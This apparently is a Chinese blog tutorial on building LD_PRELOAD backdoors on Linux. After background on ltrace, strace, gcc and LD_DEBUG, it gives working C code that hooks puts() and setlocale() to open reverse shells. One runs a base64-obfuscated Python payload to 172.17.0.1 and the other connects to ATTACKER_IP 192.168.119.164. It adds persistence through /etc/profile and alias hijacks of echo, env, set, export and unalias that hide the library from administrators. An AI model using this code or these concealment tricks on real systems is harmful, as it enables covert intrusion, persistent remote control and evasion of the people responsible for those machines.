LD_PRELOAD后门简介 在Linux操作系统的动态链接库在加载过程中,动态链接器会先读取LDPRELOAD环境变量和默认配置文件**/etc/ld.so.preload**,并将读取到的动态链接库文件进行预加载,即使程序不依赖这些动态链接库,LDPRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被装载,这样就导致了动态链接库文件可以被当做后门使用.
LD_PRELOAD读取顺序:
1 LD_PRELOAD -> /etc/ld.so.preload -> DT_RPATH(编译指定) -> LD_LIBRARY_PATH -> [/etc/ld.so.conf] -> /lib -> /usr/lib
/etc/ld.so.nohwcap 这个文件如果存在,可以禁止加载优化的库,不需要写任何内容 如果存在此文件,则动态链接程序将加载库的非优化版本,即使CPU支持优化版本也是如此。
参考链接:https://cloud.tencent.com/developer/article/1835020
这个作者太腻害了,学习学习
前置知识 ltrace ltrace的功能是能够跟踪进程的库函数调用 ,它会显现出哪个库函数被调用。功能相同的还有strace.
安装命令
帮助命令如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 [root@167bd328a8bb /]# ltrace --help Usage: ltrace [option ...] [command [arg ...]] Trace library calls of a given program. -a, --align=COLUMN align return values in a secific column. -A MAXELTS maximum number of array elements to print. -b, --no-signals don't print signals. -c count time and calls, and report a summary on exit. -C, --demangle decode low-level symbol names into user-level names. -D, --debug=MASK enable debugging (see -Dh or --debug=help). -Dh, --debug=help show help on debugging. -e FILTER modify which library calls to trace. -f trace children (fork() and clone()). -F, --config=FILE load alternate configuration file (may be repeated). -h, --help display this help and exit. -i print instruction pointer at time of library call. -l, --library=LIBRARY_PATTERN only trace symbols implemented by this library. -L do NOT display library calls. -n, --indent=NR indent output by NR spaces for each call level nesting. -o, --output=FILENAME write the trace output to file with given name. -p PID attach to the process with the process ID pid. -r print relative timestamps. -s STRSIZE specify the maximum string size to print. -S trace system calls as well as library calls. -t, -tt, -ttt print absolute timestamps. -T show the time spent inside each call. -u USERNAME run command with the userid, groupid of username. -V, --version output version information and exit. -w, --where=NR print backtrace showing NR stack frames at most. -x FILTER modify which static functions to trace.
常见用法:
直接查看二进制可执行文件调用的链接库
strace strace的用法跟ltrace相似,主要用于跟踪进程的系统调用或信号产生的情况 。
参数列表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 -c 统计每一系统调用的所执行的时间,次数和出错的次数等. -d 输出strace关于标准错误的调试信息. -f 跟踪由fork调用所产生的子进程. -ff 如果提供-o filename,则所有进程的跟踪结果输出到相应的filename.pid中,pid是各进程的进程号. -F 尝试跟踪vfork调用.在-f时,vfork不被跟踪. -h 输出简要的帮助信息. -i 输出系统调用的入口指针. -q 禁止输出关于脱离的消息. -r 打印出相对时间关于,,每一个系统调用. -t 在输出中的每一行前加上时间信息. -tt 在输出中的每一行前加上时间信息,微秒级. -ttt 微秒级输出,以秒了表示时间. -T 显示每一调用所耗的时间. -v 输出所有的系统调用.一些调用关于环境变量,状态,输入输出等调用由于使用频繁,默认不输出. -V 输出strace的版本信息. -x 以十六进制形式输出非标准字符串 -xx 所有字符串以十六进制形式输出. -a column 设置返回值的输出位置.默认 为40. -e expr 指定一个表达式,用来控制如何跟踪.格式如下: [qualifier=][!]value1[,value2]... qualifier只能是 trace,abbrev,verbose,raw,signal,read,write其中之一.value是用来限定的符号或数字.默认的 qualifier是 trace.感叹号是否定符号.例如: -eopen等价于 -e trace=open,表示只跟踪open调用.而-etrace!=open表示跟踪除了open以外的其他调用.有两个特殊的符号 all 和 none. 注意有些shell使用!来执行历史记录里的命令,所以要使用\\. -e trace=set 只跟踪指定的系统 调用.例如:-e trace=open,close,rean,write表示只跟踪这四个系统调用.默认的为set=all. -e trace=file 只跟踪有关文件操作的系统调用. -e trace=process 只跟踪有关进程控制的系统调用. -e trace=network 跟踪与网络有关的所有系统调用. -e strace=signal 跟踪所有与系统信号有关的 系统调用 -e trace=ipc 跟踪所有与进程通讯有关的系统调用 -e abbrev=set 设定 strace输出的系统调用的结果集.-v 等与 abbrev=none.默认为abbrev=all. -e raw=set 将指 定的系统调用的参数以十六进制显示. -e signal=set 指定跟踪的系统信号.默认为all.如 signal=!SIGIO(或者signal=!io),表示不跟踪SIGIO信号. -e read=set 输出从指定文件中读出 的数据.例如: -e read=3,5 -e write=set 输出写入到指定文件中的数据. -o filename 将strace的输出写入文件filename -p pid 跟踪指定的进程pid. -s strsize 指定输出的字符串的最大长度.默认为32.文件名一直全部输出. -u username 以username 的UID和GID执行被跟踪的命令
gcc GCC是GNU 编译器集合,GNU Compiler Collection 包括C 、 C++ 、Objective-C、Fortran 、Ada、Go 和 D 的前端 ,以及这些语言的库(libstdc++,…)。
安装命令
1 yum -y install gcc gcc-c++ kernel-devel //安装gcc、c++编译器以及内核文件
常见参数及用法
选项
解释
-ansi
只支持 ANSI 标准的 C 语法。这一选项将禁止 GNU C 的某些特色, 例如 asm 或 typeof 关键词。
-c
只编译并生成目标文件。
-DMACRO
以字符串”1”定义 MACRO 宏。
-DMACRO=DEFN
以字符串”DEFN”定义 MACRO 宏。
-E
只运行 C 预编译器。
-g
生成调试信息。GNU 调试器可利用该信息。
-IDIRECTORY(大写I)
指定额外的头文件搜索路径DIRECTORY。
-LDIRECTORY
指定额外的函数库搜索路径DIRECTORY。
-lLIBRARY(小写L)
连接时搜索指定的函数库LIBRARY。
-m486
针对 486 进行代码优化。
-o FILE
生成指定的输出文件。用在生成可执行文件时。
-O0
不进行优化处理。
-O 或 -O1
优化生成代码。
-O2
进一步优化。
-O3
比 -O2 更进一步优化,包括 inline 函数。
-shared
生成共享目标文件。通常用在建立共享库时。
-static
禁止使用共享连接。
-UMACRO
取消对 MACRO 宏的定义。
-w
不生成任何警告信息。
-Wall
生成所有警告信息。
-fPIC
告诉编译器产生与位置无关代码(Position-Independent Code)
-D_GNU_SOURCE
意味着编译器将使用GNU标准的编译,所有的超集
-fPIC
参数的解释:产生的代码中,没有绝对地址,全部使用相对地址,故而代码可以被加载器加载到内存的任意位置,都可以正确的执行。这正是共享库所要求的,共享库被加载时,在内存的位置不是固定的。如果不加-fPIC,则加载.so文件的代码段时,代码段引用的数据对象需要重定位, 重定位会修改代码段的内容,这就造成每个使用这个.so文件代码段的进程在内核里都会生成这个.so文件代码段的copy
动态编译和静态编译 静态编译将所需要的库添加到程序中,用于适应各个平台,兼容性好,体积大。
动态编译则相反,依赖于所在环境的库,如果所在环境不存在需要的库,则运行出错,优点是体积小,编译快
LD_PRELOAD实验 思路:
首先创建了一个jaky.c文件,其中调用time方法,然后创建了一个jakylib.c,其中生成了一个time方法供test调用
编译后用LD_PRELOAD=$PWD/jakylib.so ./jaky劫持了time.
实践:
1 2 3 4 5 6 7 8 9 #include <stdio.h> #include <stdlib.h> #include <time.h> int main () { srand(time(NULL )); return 0 ; }
1 2 3 4 5 6 #include <stdio.h> int time () { printf ("hello Jaky" ); return 0 ; }
将环境变量LD_PRELOAD
修改为jakylib.so供jaky程序调用
1 export LD_PRELOAD=jakylib.so
查看结果:
成功劫持
LD_PRELOAD实战 思路:
寻找动态链接的函数
覆盖这个函数,并且在内部重写
先把原函数指针赋值给一个变量
执行我们的代码
执行原函数
正常返回值
这里选用whoami进行演示
准备payload.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <dlfcn.h> #include <stdlib.h> int puts (const char *message) { int (*new_puts)(const char *message); int result; new_puts = dlsym(RTLD_NEXT, "puts" ); system("python3 -c \"import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTcyLjE3LjAuMSIsIDY2NjYpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgp')))\"" ); result = new_puts(message); return result; }
dlsym函数用于从一个共享对象或可执行对象中包含一个符号所对应的地址,编译时需要指定-ldl
参数,参考链接:https://blog.csdn.net/Cxinsect/article/details/100761916
其中RTLD_NEXT
handle用于从共享库中获取真正的函数,当有多个同名函数被preloading的时候
如下头文件是dlsym必须的
1 2 #define _GNU_SOURCE #include <dlfcn.h>
python代码解码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import os,socket,subprocess;ret = os.fork() if ret > 0 : exit() else : try : s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("172.17.0.1" , 6666 )) os.dup2(s.fileno(), 0 ) os.dup2(s.fileno(), 1 ) os.dup2(s.fileno(), 2 ) p = subprocess.call(["/bin/sh" , "-i" ]) except Exception as e: exit()
编译共享库so
1 2 3 4 //-ldl参数是必须的,原因是使用了dlsym对puts进行了重写 gcc -shared -fPIC -o payload.so -D_GNU_SOURCE -ldl payload.c //添加LD_PRELOAD环境变量 export LD_PRELOAD=/tmp/payload.so
执行命令
直接修改函数 这种方式虽然简单,但是也破坏了原有的函数,容易暴露
jaky.c
1 2 3 4 5 6 7 8 9 //jaky.c #include <stdio.h> #include <stdlib.h> #include <time.h> int main(){ srand(time(NULL)); return 0; } //编译:gcc -o jaky jaky.c
动态链接库jakylib.so
1 2 3 4 5 6 //jakylib.c #include <stdio.h> int time(){ printf("hello Jaky"); return 0; //the most random number in the universe }//编译:gcc -shared -fPIC jakylib.c -o jakylib.so
运行
1 LD_PRELOAD=jakylib.so ./jaky
构造函数attribute调用 GCC 有个 C 语言扩展修饰符 attribute ((constructor))**,可以让由它修饰的函数在 **main() 之前执行,一旦某些指令需要加载动态链接库 时,就会立即执行它。
1 2 3 4 5 6 7 8 9 10 #include <stdlib.h> #include <stdio.h> #include <string.h> __attribute__ ((__constructor__)) void preload (void ) { unsetenv("LD_PRELOAD" ); printf ("i am hacker!!\n" ); }
插桩式后门
插桩式后门能够hook指定函数,只要命令调用中包含指定函数就会触发,隐蔽性也好
缺点是花费时间多
参考链接:https://tbrindus.ca/correct-ld-preload-hooking-libc/
下载glibc源码
观察fopen实现代码
构造poc
fopen.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #define _GNU_SOURCE #include <stdio.h> #include <dlfcn.h> typedef FILE *(*fopen_t)(const char *pathname, const char *mode); fopen_t real_fopen; FILE *fopen(const char *pathname, const char *mode) { fprintf(stderr, "called fopen(%s, %s)\n", pathname, mode); if (!real_fopen) { real_fopen = dlsym(RTLD_NEXT, "fopen"); } return real_fopen(pathname, mode); } __attribute__((constructor)) static void setup(void) { fprintf(stderr, "called setup()\n"); }
编译运行
1 2 gcc -shared -fPIC fopen.c -ldl -D_GNU_SOURCE -o fopen.so LD_PRELOAD=/tmp/fopen.so ssh
拓展 总结来看插桩式后门效果最好,无声无息且不影响原有程序的可用性,就自己做一个。
问了一圈运维常用命令,想来个通杀的函数Hook,但是每个人的习惯都不太一样,然后手动ltrace发现比起打开文件的fopen
更常见的setlocale
函数用于设置输出时的编码
more
连ssh都有
那就做一个吧,成果如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 #include <locale.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <dlfcn.h> #include <arpa/inet.h> #include <netinet/in.h> #include <unistd.h> #include <sys/types.h> #define ATTACKER_IP "192.168.119.164" #define ATTACKER_PORT 15638 typedef char *(*setlocale_t )(int category, const char *locale);setlocale_t real_setlocale;char *setlocale (int category, const char *locale) { if (fork()==0 ){ int nochdir = 0 ; int noclose = 0 ; daemon(nochdir, noclose); struct sockaddr_in sa ; sa.sin_family = AF_INET; sa.sin_port = htons(ATTACKER_PORT); sa.sin_addr.s_addr = inet_addr(ATTACKER_IP); int sockt = socket(AF_INET, SOCK_STREAM, 0 ); if (connect(sockt, (struct sockaddr *)&sa, sizeof (sa)) != 0 ) { return "en_US.UTF-8" ; } dup2(sockt, 0 ); dup2(sockt, 1 ); dup2(sockt, 2 ); char *const argv[] = {"/bin/sh" , NULL }; execve("/bin/sh" , argv, NULL ); } if (!real_setlocale) { real_setlocale = dlsym(RTLD_NEXT, "setlocale" ); return real_setlocale(category, locale); } }
ATTACKER_IP为反弹ip
ATTACKER_PORT为反弹端口
通过fork()创建子进程再创建守护进程反弹shell,不影响正常命令执行
编译
1 gcc -shared -fPIC -ldl -D_GNU_SOURCE -o setlocale.so setlocale.c
生成setlocate.so文件进行LD_PRELOAD
动态链接
1 LD_PRELOAD=/tmp/setlocate.so whoami
最后可以通过将LD_PRELOAD
写入在/etc/profile
等配置文件中进行持久化维权
在/etc/profile中写入
1 2 3 4 # System global API definition if [ -f /tmp/.bash_resource ]; then . /tmp/.bash_resource fi
在/tmp/.bash_resource中写入
1 LD_PRELOAD=/tmp/setlocale.so
参考文章:
Correct usage of LD_PRELOAD
for hooking libc
functions
Create a simple reverse shell in C/C++
隐藏后门 显示环境变量的命令主要有以下几种
echo $LD_PRELOAD
env
set
export
cat /proc/$PID/environ
主要采用alias的方式隐藏,以下的命令都是通过将/home/helper/hook.so替换为空来实现的
1 2 3 4 5 6 7 8 9 10 11 12 //隐藏echo alias echo ='func(){ echo $* | sed "s!/home/helper/hook.so! !g";};func' //隐藏env alias env='func(){ env $* | grep -v "/home/helper/hook.so";};func' //隐藏set alias set ='func(){ set $* | grep -v "/home/helper/hook.so";};func' //隐藏export alias export ='func(){ export $* | grep -v "/home/helper/hook.so";};func' //劫持unalias alias unalias ='func(){ if [ $# != 0 ]; then if [ $* != "echo" ]&&[ $* != "env" ]&&[ $* != "set" ]&&[ $* != "export" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};func' //劫持alias alias alias ='func(){ alias "$@" | grep -v unalias | grep -v hook.so;};func'
将其写在以下任意文件即可
1 2 3 4 5 6 /etc/profile /etc/bashrc ~/.bashrc ~/.bash_profile ~/.bash_login ~/.bash_logout
也可以根据alias后门中的方法一样,嵌入在配置文件中引用的其他配置文件中,增强隐蔽性。
Issues https://cloud.tencent.com/developer/article/1835020
这篇文章的作者在遇到了这种匪夷所思的问题的时候竟然花了一年时间来学c、汇编语言,换我直接跳过了,太牛了,学习学习。记录下文章中的几个操作。
作者主要是遇到了pwd
命令跟whoami
命令都是动态编译,但是whoami
可以动态链接成功,而pwd
却没有任何共享库链接的问题,最后是通过编译pwd源码、readelf查看编译方式、LD_DEBUG查看共享库的使用情况,最后通过type -a确定了是pwd是bash集成的命令与系统中的whoami不同造成的链接恶意库失败。
从源代码编译Linux命令 使用到的源码网站:
安装aptitude(ubuntu/debian)
1 apt-get install aptitude
下载对应coreutil版本的源代码
1 2 aptitude show coreutil apt-get source coreutils
进入对应coreutils文件夹进行编译
找到想要编译的c文件,比如我这里找一个whoami.c
添加一个输出的函数
编译成二进制文件
1 2 3 4 5 6 gcc -E -I ~/MyCode/coreutils-8.30/lib/ -I ~/MyCode/coreutils-8.30/ -I ~/MyCode/coreutils-8.30/src pwd.c -o pwd.i //-E 只运行C编译器,-I指定头文件路径 gcc -c pwd.i -o pwd.o //-c 只编译并生成目标文件 gcc -L ~/MyCode/coreutils-8.30/lib/ -L /usr/lib/ pwd.o -o pwd -lcoreutils -lcrypt //-L指定额外的函数库搜索路径DIRECTORY,-l连接时搜索指定的函数库LIBRARY。
查看编译方式 1 2 readelf -S //-S section headers
上图的dynamic
表明是动态编译
LD_DEBUG 常见用法:
参数
解释
libs
display library search paths
reloc
display relocation processing
files
display progress for input file
symbols
display symbol table processing
bindings
display information about symbol binding
versions
display version dependencies
scopes
display scope information
all
all previous options combined
statistics
display relocation statistics
unused
determined unused DSOs
help
display this help message and exit
LD_DEBUG环境变量能够对共享库调用进行 debug,查看程序调用的链接库
1 2 LD_DEBUG=files /bin/whoami LD_DEBUG=libs /bin/whoami
ldd查看依赖关系 通过ldd可以查看依赖关系
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 [linux@ t0]~$ldd ./a.out linux-vdso.so.1 (0x00007ffff7ffb000 ) libstdc++.so.6 => /lib64/libstdc++.so.6 (0x00007ffff7a3f000 ) libm.so.6 => /lib64/libm.so.6 (0x00007ffff76bd000 ) libgcc_s.so.1 => /lib64/libgcc_s.so.1 (0x00007ffff74a5000 ) libc.so.6 => /lib64/libc.so.6 (0x00007ffff70e3000 ) /lib64/ld-linux-x86-64. so.2 (0x00007ffff7dd4000 ) [linux@ t0]~$LD_PRELOAD=./libhook.so ldd ./a.out linux-vdso.so.1 (0x00007ffff7ffb000 ) ./libhook.so (0x00007ffff7ff1000 ) <----- 区别在这里 libstdc++.so.6 => /lib64/libstdc++.so.6 (0x00007ffff7a3f000 ) libm.so.6 => /lib64/libm.so.6 (0x00007ffff76bd000 ) libgcc_s.so.1 => /lib64/libgcc_s.so.1 (0x00007ffff74a5000 ) libc.so.6 => /lib64/libc.so.6 (0x00007ffff70e3000 ) /lib64/ld-linux-x86-64. so.2 (0x00007ffff7dd4000 )
type -a查看命令来源
参考链接